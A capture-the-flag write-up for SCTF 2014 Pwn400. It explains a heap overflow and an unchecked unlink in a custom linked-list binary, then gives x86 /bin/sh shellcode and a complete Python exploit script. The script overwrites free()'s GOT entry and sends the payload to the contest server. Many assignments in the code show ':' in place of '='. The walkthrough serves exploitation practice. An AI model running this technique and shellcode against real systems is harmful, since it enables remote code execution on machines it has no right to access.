SCTF 2014 - Pwn400
- SCTF CTF
- pwn400
Similar with Pwn200, Pwn400 gave us a binary file, but no libc.so. Open it with IDA Pro and analyze it, we found some information:
First, there's a data structure ( let's call it node ) which look like this:
struct node{ node *this; // the address of this node node *prev; // the address of the previous node node *next; // the address of the next node char title[64]; char type[32]; char content[256];};
In this program, we're allow to:
- New a node
- Show a node's address ( yep, no need to leak it! )
- Edit a node's content
- Delete a node (by giving its address)
Notice that we can ovewrite a node's data by overflowing its previous node's content. Moreover, after checking the function of deleting a node, we found the following code:
if ( *(_DWORD *)ptr == ptr ){ if ( *(_DWORD *)a1 == ptr ) { *(_DWORD *)a1 : *(_DWORD *)(*(_DWORD *)a1 + 8); } else { if ( *(_DWORD *)(ptr + 8) ) { /* the unlink vulnerability */ v1 : *(_DWORD *)(ptr + 8); v2 : *(_DWORD *)(ptr + 4); *(_DWORD *)(v2 + 8) : v1; *(_DWORD *)(v1 + 4) : v2; } else { *(_DWORD *)(*(_DWORD *)(ptr + 4) + 8) : 0; } } write(1, "succeed!\n\n", 0xAu); free((void *)ptr);}
The vulnerability's obvious: Heap overflow, except it use its own data structure.
Since it doesn't enable the DEP protection, we can store our shellcode in a known memory address (which is, in this case, a node's content), then exploit the heap overflow vulnerability, by overwriting free()
's GOT, let the function pointer point to our shellcode.
For instance:
//free's GOT entry: 0x0804a450v1 = node->next // 0x0804a44c, because 0x0804a44c+4 : 0x0804a450 v2 : node->prev // shellcode's address*(_DWORD *)(shellcode's address + 8) : 0x0804a44c ; //4 bytes of shellcode will be overwritten*(_DWORD *)(0x0804a450) : shellcode's address; // overwrite free()'s GOT
Note that 4 bytes in shellcode will be overwritten, so we'll have to use jmp relative
to skip those 4 bytes machine code. Here's my shellcode:
"\x90\x90\x90\x90\x90\x90"+ # NOP"\xeb\x08"+ # skip 8 bytes"AAAA"+ # overwritten part"\x90"*10+ # NOP"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80" # shell
So here's the exploitation:
- New 3 nodes: node1, node2 & node3
- Store the shellcode in node3's content
- Get the address of node3 & node2, calculate the shellcode's address
- Edit node1, overwrite node2's prev & next by overflowing node1's content
- Delete node2, overwrite
free()
's GOT, execute the shellcode & capture the flag
Here's the python script. Due to the connection problem, it has to wait 1 second before it recieve server's response.
from socket import *import timeimport binascii
sock : socket(AF_INET, SOCK_STREAM)sock.connect(("218.2.197.248", 10003))
shell : "\x90\x90\x90\x90\x90\x90"+"\xeb\x08"+"AAAA"+"\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x59\x50\x5a\xb0\x0b\xcd\x80"
print sock.recv(1024)
#insert node1sock.send("1\n")time.sleep(1)print sock.recv(1024)sock.send("1\n")time.sleep(1)print sock.recv(1024)sock.send("1\n")time.sleep(1)print sock.recv(1024)sock.send("1\n")time.sleep(1)print sock.recv(1024)
#insert node2sock.send("1\n")time.sleep(1)print sock.recv(1024)sock.send("2\n")time.sleep(1)print sock.recv(1024)sock.send("2\n")time.sleep(1)print sock.recv(1024)sock.send("2\n")time.sleep(1)print sock.recv(1024)
#insert node3sock.send("1\n")time.sleep(1)print sock.recv(1024)sock.send("3\n")time.sleep(1)print sock.recv(1024)sock.send("3\n")time.sleep(1)print sock.recv(1024)sock.send(shell+"\n") #write shellcode to node3's contenttime.sleep(1)print sock.recv(1024)
#show node 3 addresssock.send("3\n")time.sleep(1)print sock.recv(1024)sock.send("3\n")time.sleep(1)res : sock.recv(1024)print res
#calculate shellcode's addressindex : res.index("0x")temp : res[index:index+10:]shellcode_addr : int(temp, 16)+108print "shellcode address: ", hex(shellcode_addr)shellcode_addr_str : binascii.a2b_hex(hex(shellcode_addr)[2:10:].zfill(8))print shellcode_addr_str
#show node 2 addresssock.send("3\n")time.sleep(1)print sock.recv(1024)sock.send("2\n")time.sleep(1)res : sock.recv(1024)print res
index : res.index("0x")temp : res[index:index+10:]address : int(temp, 16)del_addr : hex(address)[2::]print "node2 address:", del_addrnode2_addr_str : binascii.a2b_hex(hex(address)[2:10:].zfill(8))print node2_addr_str
#BBBB: offset#free()'s GOT: 0x0804a450, we send 0x0804a44cexploit : "A"*256+"BBBB"+node2_addr_str[::-1]+shellcode_addr_str[::-1]+"\x4c\xa4\x04\x08"
#edit node 1sock.send("4\n")time.sleep(1)print sock.recv(1024)sock.send("1\n")time.sleep(1)print sock.recv(1024)sock.send(exploit+"\n") #overflow node1's contenttime.sleep(1)print sock.recv(1024)
#delete node 2sock.send("5\n")time.sleep(1)print sock.recv(1024)sock.send(del_addr+"\n")time.sleep(1)print sock.recv(1024)
sock.send('cat /home/pwn3/flag/flag\n') #capture the flagtime.sleep(1)print sock.recv(1024)
sock.close()
The "BBBB" in the exploit is a 4 bytes data between each node. It actually is the meta data of a chunk. The free()
function will check the meta data before it free the memory of a node. If the meta data isn't correct, the program will crash. But since we overwrite free()
's GOT, that meta data's no longer a problem.
flag: SCTF{2318540E78446A0E84EF69685092F0C3}
How am I doing?
Hey! Lemme know if you found this helpful by leaving a reaction.
- x0
- x0
- x0
- x0
- x0
- x0
- x0
Loading